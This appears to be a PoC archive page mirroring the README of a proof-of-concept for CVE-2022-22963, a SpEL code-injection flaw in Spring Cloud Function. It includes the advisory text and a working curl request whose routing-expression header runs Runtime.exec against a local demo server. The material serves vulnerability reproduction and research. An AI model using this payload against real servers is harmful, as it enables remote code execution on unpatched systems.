Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%

CVE-2022-22963 PoC — Spring Framework 代码注入漏洞

Source
Associated Vulnerability
Title:Spring Framework 代码注入漏洞 (CVE-2022-22963)
Description:In Spring Cloud Function versions 3.1.6, 3.2.2 and older unsupported versions, when using routing functionality it is possible for a user to provide a specially crafted SpEL as a routing-expression that may result in remote code execution and access to local resources.
Readme
# CVE-2022-22963 RCE PoC

Minimal example to reproduce CVE-2022-22963 remote code execution in `org.springframework.cloud:spring-cloud-function-core`.

## Exploit

### Run the server

```shell
mvn spring-boot:run
```

### Make a request

```shell
curl -X POST -H 'spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch PWNED")' -d xxx http://127.0.0.1:8080/functionRouter
```

As a result of the exploit file `PWNED` will be crated nearby `pom.xml`.


## Additional info

- Original advisory: https://tanzu.vmware.com/security/cve-2022-22963
- Snyk advisory: https://security.snyk.io/vuln/SNYK-JAVA-ORGSPRINGFRAMEWORKCLOUD-2436645
- This PoC is based on: https://github.com/Pizz33/Spring-Cloud-Function-SpEL
File Snapshot

[4.0K] /data/pocs/3f47160a5880b7dc4d4aff8c50b15313dc4e9477 ├── [1.4K] pom.xml ├── [ 741] README.md └── [4.0K] src └── [4.0K] main ├── [4.0K] java │   └── [4.0K] com │   └── [4.0K] example │   └── [4.0K] demo │   └── [ 315] DemoApplication.java └── [4.0K] resources └── [ 0] application.properties 7 directories, 4 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →